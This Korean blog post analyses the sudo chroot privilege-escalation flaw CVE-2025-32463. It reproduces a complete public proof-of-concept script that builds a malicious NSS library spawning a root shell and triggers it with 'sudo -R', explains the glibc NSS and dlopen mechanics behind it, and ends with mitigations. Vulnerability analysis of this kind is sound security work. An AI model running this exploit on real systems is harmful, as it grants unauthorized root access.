sudo LPE 취약점 CVE-2025-32463 PoC

dirty cow 포스팅을 수정하려고 dirty cow가 터지는 배포판을 찾던 중에 우분투 홈페이지에서 봇이 말을걸어왔다.

대답해줬더니 진짜 사람이 나타나서 응답 해 주는것이 아닌가?!

chat

그러면서 최근 발견된 LPE CVE를 하나 알려주고 갔다.

테스트를 안해볼수가 없지 않은가?

그래서 CVE-2025-34263 포스팅을 시작하겠다.


1. CVE-2025-32463

먼저 이 취약점에 대해 간단하게 설명 해 보자면 다음과 같다.

1-1. 취약점 정보

  • 리눅스 특히 Ubuntu 계열 (데비안 은 잘 테스트 하지 않음) 에서 발생하는 Local Privilege Escalation 취약점
  • sudo 1.9.14 ~ 1.9.17 버전에서 권한 검사가 끝나기전에 chroot 경로를 먼저 해석하도록 로직이 변경되어 발생

1-2. 취약점 발생 조건

  • Ubuntu 계열 배포판
  • sudo 1.9.14 ~ 1.9.17 버전
  • gcc 사용 가능한 환경

2. 테스트

자 다음 사진을 보자.

chat

root 계정으로 권한상승이 된 것을 볼 수 있다.

우선 현재 sudo 버전은 1.9.15 로 취약점이 터지는 버전이다.

그리고 hacker 계정은 sudoers에 추가가 되어있지 않기 때문에 sudo 명령을 사용할 수 없다.

실제로 sudo 명령 사용에 다음 결과를 볼 수 있다.

📌 hacker@CT-buntuslave:~/CVE-2025-32463_chwoot$ sudo su [sudo] password for hacker: hacker is not in the sudoers file. This incident has been reported to the administrator.


3. PoC 코드 분석

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

필자가 사용한 PoC 코드다. https://github.com/pr0v3rbs/CVE-2025-32463_chwoot 주소에 공개되어 있다.


1. 임시폴더 생성

1
2
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

먼저 /tmp 경로에 sudowoot~ 어쩌고 하는 임시 경로를 만들고 있다. 만약 실패하면 실행을 종료한다.


2. 임시 폴더에 권한상승 코드 파일 생성

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

setuid, setgid로 root 권한의 shell을 실행하는 c코드다. woot133.c 라는 파일로 생성한다.

함수 이름은 woot 다. 기억하자.


3. 권한 상승 준비 작업

1
2
3
4
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

임시 폴더에서 woot/etc, libnss_ 경로를 만들고

woot/etc/nsswitch.conf 파일에 “passwd: /woot1337” 이라는 구문을 입력한다.

/etc/nsswitch.conf 파일은 NSS의 설정 파일로, UNIX 계열 운영체제에서 어느 파일에 사용자 인증 정보가 기록되어있는지 설정을 저장하는 파일이다.

따라서 위 설정 파일을 해석하자면 "사용자 인증 정보 는 /woot1337 파일에 있어" 라는 의미가 된다.

그리고는 /etc/group 파일을 woot/etc 경로로 복사한다.

앞서 작성했던 root 권한으로 쉘을 실행하는 코드를 빌드한다.

옵션의미
-shared공유 라이브러리(Shared Object) 생성. 즉 .so 파일 생성
-fPICPosition Independent Code.
공유 라이브러리(.so)는 메모리에 어디에 로드될지 모르므로, 코드가 위치 독립적으로 컴파일
-Wl,-init,woot링커(ld)에 -init 옵션 전달:
libnss_*.so.2 로드 시 woot() 함수를 자동으로 실행하라는 의미
-o libnss_/woot1337.so.2출력 파일 이름:
libnss_/woot1337.so.2로 저장

4. 권한 상승

1
2
3
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

sudo -R <경로> <명령> 형태의 명령을 볼 수 있다.

sudo -R 옵션은 chroot 기능을 수행한다. 루트 디렉토리를 변경하는 기능이다.

즉 현재 임시파일 경로에 있는 woot 경로를 root 로 만든다.

sudo -R woot woot 경로는 woot 경로를 root 로 만들고, 아까 우리가 c 파일에 작성했던 woot 함수를 실행하라는 뜻과 같다.

그런데, 이 때 우리는 3단계에서 woot 경로 안에 etc/nsswitch.conf 파일을 만들었고, “passwd: /woot1337” 이라는 내용을 작성했다.

그리고 woot1337.so.2 라는 공유 라이브러리를 libnss_ 경로 아래에 생성했다.

sudo는 사용자가 루트 권한으로 어떤 명령을 실행할 수 있는지 확인하기 위해 아래 두 가지를 반드시 수행한다.


sudo 명령이 사용자 정보를 확인하는 방법

1️⃣ 현재 사용자가 누구인지 확인 • getpwuid(), getpwnam(), getgrnam() 같은 함수 호출 → 이 함수들은 내부적으로 **glibc NSS(Name Service Switch)**를 통해 /etc/passwd나 LDAP 등에서 사용자 정보를 찾는다

2️⃣ sudoers 파일(/etc/sudoers)에 규칙이 있는지 확인 • 현재 사용자가 sudo로 실행할 수 있는지 판단하려면, 사용자 이름, 그룹 정보를 가져와야 함 → 이때도 NSS를 거친다.


📌 glibc(GNU C Library) : 리눅스에서 가장 기본적인 C 라이브러리로, 시스템 호출을 wrap 해 어플리케이션이 OS와 상호작용할 수 있게 해준다.

📌 NSS(Name Service Switch) : glibc 안에 포함된 모듈화된 조회 시스템으로 /etc/nsswitch.conf 파일을 통해 호스트 이름, 사용자 계정, 그룹, 메일 별칭 같은 것을 어디서 어떻게 검색할지를 결정한다.

📌 LDAP(Lightweight Directory Access Protocol) : 트리 구조로 된 중앙 디렉토리 서버(예: OpenLDAP)에서 사용자, 그룹, 호스트 등의 정보를 저장, 조회하는 프로토콜이다.(Active Directory도 LDAP 기반이다)


따라서 NSS가 nsswitch.conf 를 무조건 참고하게 되는데,

이때 -R woot 으로 인해 으로 root directory가 변경되었다. /tmp/sudowoot~/woot 로 말이다.

따라서 NSS는 /tmp/sudowoot~/woot/etc 경로에 존재하는 woot1337.so.2 모듈을 로드하고, woot 함수가 자동 실행된다.

그런데 woot 함수는 루트 권한의 bash를 실행하는 함수다.

게임 끝.

5. glibc와 NSS 그리고 nsswitch.conf

5-1. nsswitch.conf

앞서 /etc/nsswitch.conf 파일은 NSS의 설정 파일로, UNIX 계열 운영체제에서 어느 파일에 사용자 인증 정보가 기록되어있는지 설정을 저장하는 파일 이라고 설명했다.

좀 더 부연설명을 해 보자면

  • name service switch configuration의 줄임말로 사용자 이름 패스워드 정보를 어디서 조회(로컬 파일, LDAP, DNS)할지 결정하는 역할

  • nsswitch.conf에 적힌 값은 단순 텍스트 파일 경로가 아니라 동적 라이브러리(NSS 모듈)의 이름으로 취급

  • 시스템은 이 이름을 바탕으로 파일을 찾아 메모리에 동적 로드(dlopen())

  • 시스템 기본 값은 다음과 같다.

1
passwd: files systemd
  • 시스템이 사용자(passwd) 정보를 조회할 때 검색하는 우선순위를 정의

  • 1순위로 files(로컬 파일인 /etc/passwd)를 찾아보고, 정보가 없으면 2순위로 systemd(NSS systemd 모듈, libnss_systemd.so.2)를 통해 찾으라는 의미.


5-2. glibc의 NSS 모듈 로드 방식

gcc가 nss를 로드하는 코드는 여기 주소를 참고하면 된다. (https://github.com/bminor/glibc/blob/master/nss/nss_module.c)

살펴보면 다음과 같은 규칙으로 모듈 파일을 찾아 로드하는 을 볼 수 있다.

libnss_%s.so%s

파일이름에 libnss_ 라는 접두어와 .so라는 확장자를 강제로 붙여버린다. 따라서 NSS 모듈을 해당 규칙을 따라야한다.

즉 해당 규칙에만 맞으면 모든 파일을 불러오므로 원래대로라면 libnss_모듈이름.so.2 규칙을 가진 파일을 불러오는 것을 의도 했겠지만

PoC에 작성된 libnss_/woot1337.so.2 경로의 디렉토리 구분자가 해당 포맷 스트링에 정확히 일치해버린다.


5-3. dlopen() 함수

glibc에서 NSS 모듈을 실제적으로 불러올때는 dlopen(dynamic library open) 함수를 사용한다.

이 dlopen 함수는 독특하게 동작하는데

  • dlopen 함수는 경로에 /가 없을 경우 /lib /usr/lib 경로에서만 파일 탐색

  • 만약 경로에 /가 있을 경우 상대 경로에서 파일 직접 로드

libnss_/woot1337.so.2 라는 경로가 입력되면 상대경로로 탐색해서 모듈을 찾아버리는 것이다.


6. 생각해볼 거리

그러면 nsswitch.conf에 woot1337 이라고만 입력하면 dlopen 함수가 libnss_woot1337.so.2을 /lib 경로에서 찾게 되니까

woot/lib 경로 만들고 거기에 libnss_woot1337.so.2 로 빌드해도 되지 않을까? 하고 생각을 해 보았다.

결론적으로는 안되는데 그 이유는 다음과 같다.

  1. sudo -R 옵션을 사용하면 가짜 nsswitch.conf 파일은 먼저 읽어오지만, NSS가 라이브러리를 로드(dlopen)하는 시점에서는 아직 OS 레벨에서 chroot의 격리 기능이 적용되기 전이다.(systemcall 호출)

  2. 따라서 파일명에 슬래시(/)가 없으면 dlopen은 공격자가 만든 가짜 환경(woot/lib)이 아닌, 시스템의 진짜(Host) /lib나 /usr/lib 경로에서만 파일을 찾는다.

  3. 그리고 공격자(일반 사용자)는 시스템의 진짜 /lib 경로에 악성 라이브러리(libnss_woot1337.so.2)를 복사하거나 생성할 권한이 없다.

따라서 실패한다.


7. 배포판 별 차이

모든 운영체제를 테스트하진 않았는데, 일단 Ubuntu에서는 발생하지만, Rocky에서는 발생하지 않았다.

그 차이가 무엇일까? 다음과 같이 한 번 생각해볼 수 있다.

Rocky Linux는 RHEL을 일반 사용자도 사용할 수 있도록(자유 소프트웨어 정신) RHEL 배포판을 이용해 만든 무료 배포판이다.

따라서, 유료 라이선스 인증과 이에 따른 유료 소프트웨어 또는 유료 지원 등을 제외하면 거의 동일한 소스코드를 사용한다.

RHEL의 가장 큰 특징이라면 서버 운용을 염두에 둔 배포판으로 보안과 안정성에 가장 큰 가치를 두고

그만큼 최신 소프트웨어를 사용하기 보다는, 안정성이 입증된 소프트웨어만 적용해서 배포한다.

그래서 아마 -R 옵션을 사용하지 못하도록 막아두지 않았을까? 실제로 rocky에서는 다음과 같은 메세지를 확인할 수 있다.

📌📎📝💡📚🔑sudo: you are not permitted to use the -R option with woot


8. Mitigation(완화책)

우선은.. 세 가지 정도 중요 포인트가 있는 것 같다.

  1. sudo를 안전한 버전으로 업데이트 하는 것.
  2. gcc 실행 권한을 제한 하는것.
  3. -R 옵션을 사용할 수 없도록 sudoers 파일을 수정하는 방법